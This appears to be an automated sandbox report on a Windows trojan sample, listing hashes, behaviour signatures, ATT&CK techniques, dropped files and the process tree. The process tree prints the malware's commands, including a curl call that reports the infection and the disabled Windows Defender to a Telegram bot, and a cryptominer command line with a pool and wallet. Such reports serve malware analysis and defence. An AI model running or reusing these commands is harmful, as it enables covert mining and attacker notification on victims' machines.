Analysis

  • max time kernel
    161s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    06-12-2021 03:14

General

  • Target

    SecuriteInfo.com.Trojan.GenericKD.38189010.4210.25224.exe

  • Size

    120KB

  • MD5

    3850da296f3c2596aaba5dba02f0b204

  • SHA1

    d39cb436d340ad2dc81cfeb2e2aeea21d3a22e2a

  • SHA256

    06c45ab0b5138b4244b4c800264966ab94ee4b5e06c13b58332c2cb792ca58aa

  • SHA512

    3b47e5e3caaf197e54179456fc61f709771cec77e642b5aab1c7d8b04c1d9161806d39d5866da9d4cfc3a72730aae3d17db640154de7cf771d8d04dfe3d73ee7

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.38189010.4210.25224.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.38189010.4210.25224.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3900
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl "https://api.telegram.org/bot1765686682:AAFKW2CipVCRG2oYuHNFJMKO8RSC06ZylW8/sendMessage?chat_id=-679243704&text=%F0%9F%90%B7%20%D0%A3%20%D0%B2%D0%B0%D1%81%20%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9%20%D0%B2%D0%BE%D1%80%D0%BA%D0%B5%D1%80!%0A%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D0%B0%3A%20Microsoft Basic Display Adapter%0A(Windows%20Defender%20has%20been%20turned%20off)"
      2⤵
        PID:3288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:648
        • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:3956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3324
        • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:384
      • C:\Windows\bfsvc.exe
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 966238e0d3C22B90435D92a6f01665fbf8a92a3A -coin etc -worker EasyMiner_Bot -clKernel 3
        2⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:1924
      • C:\Windows\explorer.exe
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 966238e0d3C22B90435D92a6f01665fbf8a92a3A -coin etc -worker EasyMiner_Bot -clKernel 3
        2⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:724

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    1
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Disabling Security Tools

    1
    T1089

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.exe
      MD5

      67a55e73dc3e285f5ecad2f52e4606aa

      SHA1

      280b8d8083aac33e1b05078bb6706f155cae47c7

      SHA256

      fc0e21a8e33d53a30207d3e0e3dc9079e253fc623cc4835877cbc39ca7a826a3

      SHA512

      e12b564cc866d3d50246c4326e0086daa3086adf8084f69c1f0fa49a091ed9a2c93ea07a2f6cc4eec30dea54492dbf12950e8e3e7f6c26208f7b57860f362efe

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip
      MD5

      1543b223f63fda679a94d034d23b27ba

      SHA1

      82eb69d0d096ff966679ce92c4fb2dd5a8dd6f1e

      SHA256

      30868a1cadb90f598ec9d96f93650c90883941522134b2e0a2dfeca958958e34

      SHA512

      270de3749322416e371d5177b974450e5e2fbca3570179d2f4811f1fda55aca4ea82cbd0a37d1b56ee8614be154373054b573da854a818caafb41b3cee502f78

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.exe
      MD5

      9d99b4d43e4e7a0408c5fe99b4cc4afe

      SHA1

      702436963243f0de2d431ec29b199505a0aa3b90

      SHA256

      c9e36c039bfc370135feabad11840fe457caec3c4914351461f3f9e115194fb3

      SHA512

      44620e76efc6d0cefc1c6f8eca77c0114d41fbf4d6e1f6ff2287286ff57aca1679a0428b35c757afb96fd31d99de8b9e1d956b89636d9c373248e5c5b5b05754

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip
      MD5

      32ab3a6509fe78d666dcafc5be73f2e1

      SHA1

      c16e1c2716b4ae5b9e5bfb9773d810344b539126

      SHA256

      dd2170bbea158a2c2b8c262c2be9c8d91fc3e86efe7f607fce7a9224a389bdec

      SHA512

      c31ee784de253c4f5c36990959d8e6f74b2b0eeecfd265cab2d5295be33f7af056e144d829adcd754c78e06023816cb3f576110314717ee7e50cc0af507f02fe

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • memory/384-126-0x0000000000000000-mapping.dmp
    • memory/648-119-0x0000000000000000-mapping.dmp
    • memory/724-134-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/724-140-0x0000000000E30000-0x0000000000E32000-memory.dmp
      Filesize

      8KB

    • memory/724-148-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/724-146-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/724-144-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/724-143-0x00007FF7FA1E0000-0x00007FF7FA5B1000-memory.dmp
      Filesize

      3.8MB

    • memory/724-135-0x0000000140E36784-mapping.dmp
    • memory/724-141-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/724-137-0x0000000000E30000-0x0000000000E32000-memory.dmp
      Filesize

      8KB

    • memory/1924-131-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/1924-138-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/1924-154-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/1924-136-0x00000281724E0000-0x00000281724E2000-memory.dmp
      Filesize

      8KB

    • memory/1924-142-0x00007FF76D300000-0x00007FF76D6D1000-memory.dmp
      Filesize

      3.8MB

    • memory/1924-152-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/1924-139-0x00000281724E0000-0x00000281724E2000-memory.dmp
      Filesize

      8KB

    • memory/1924-145-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/1924-132-0x000000014165D878-mapping.dmp
    • memory/1924-147-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/1924-150-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3288-118-0x0000000000000000-mapping.dmp
    • memory/3324-125-0x0000000000000000-mapping.dmp
    • memory/3956-120-0x0000000000000000-mapping.dmp